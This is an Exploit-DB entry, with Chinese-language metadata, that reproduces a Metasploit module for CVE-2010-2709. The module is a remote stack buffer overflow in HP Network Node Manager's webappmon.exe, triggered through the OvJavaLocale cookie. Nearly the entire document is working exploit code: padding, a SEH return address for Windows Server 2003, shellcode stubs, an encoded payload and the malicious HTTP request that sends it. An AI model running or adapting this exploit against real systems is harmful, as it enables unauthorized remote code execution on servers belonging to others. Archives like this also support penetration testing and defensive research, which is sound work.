标题: HP Network Node Manager (NMM) - CGI 'webappmon.exe OvJavaLocale' Remote Buffer Overflow (Metasploit) EDB-ID: 17029 CVE: 2010-2709 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-23 漏洞利用脚本: ##
# $Id: hp_nnm_webappmon_ovjavalocale.rb 12087 2011-03-23 03:39:12Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'        => "HP NNM CGI webappmon.exe OvJavaLocale Buffer Overflow",
   'Description' => %q{
    This module exploits a stack-based overflow in HP NNM's webappmon.exe.
    The vulnerability occurs when a long string of data is sent as OvJavaLocale's
    cookie value, OvWww.dll fails to properly do any bounds checking before this
    input is parsed in function OvWwwDebug(), which causes an overflow when
    sprintf_new() is called.
   '},
   'License'   => MSF_LICENSE,
   'Version'   => "$Revision: 12087 $",
   'Author'      =>
    [
     'Nahuel Riva',
     'sinn3r'
    ],
   'References' =>
    [
     ['CVE', '2010-2709'],
     ['OSVDB', '66932'],
     ['OSVDB', 'http://www.coresecurity.com/content/hp-nnm-ovjavalocale-buffer-overflow'],
    ],
   'Payload'  =>
    {
     'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
     'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
     'EncoderOptions' => { "BufferRegister"=>"ECX"  }
    },
   'DefaultOptions' =>
    {
     'ExitFunction' => "seh",
     "AutoRunScript" => "migrate -f",
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D} ],
    ],
   'Privileged' => false,
   'DisclosureDate' => "Aug 3 2010"))

   register_options(
    [
     Opt::RPORT(80),
    ], self.class)
 end

 def exploit

  nops = make_nops(1000)*10

  sploit  = nops[0, 7044]    #Padding
  sploit << "\x74\x20\x42\x42"  #JE jump 0x20 bytes
  sploit << [target.ret].pack('V') #POP/POP/RET
  sploit << nops[0, 26]    #Padding
  sploit << "\x61"*13     #POPAD x 13
  sploit << "\x51"     #PUSH ECX
  sploit << "\xc3"     #RETN
  sploit << nops[0, 31]    #Padding
  sploit << payload.encoded   #Payload
  sploit << nops[0, 10000-sploit.length]

  connect

  print_status("Sending malicious request...")
  send_request_raw({
   "uri"     => "/OvCgi/webappmon.exe",
   "data"    => "ins=nowait&sel=A&appB=&actC=&arg=&help=&cache=1600",
   "version" => "1.1",
   "method"  => "GET",
   "headers" => {
    "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" => "en-us,en;q=0.5",
    "Accept-Encoding" => "gzip,deflate",
    "Accept-Charset" => "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
    "Keep-Alive" => "300",
    "Connection" => "keep-alive",
    "Cookie" => "OvJavaLocale=#{sploit}.Cp1252;OvWebSession=14150:AnyUser%3a",
    "Cache-Control" => "max-age=0"
   }
  }, 2)

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/17029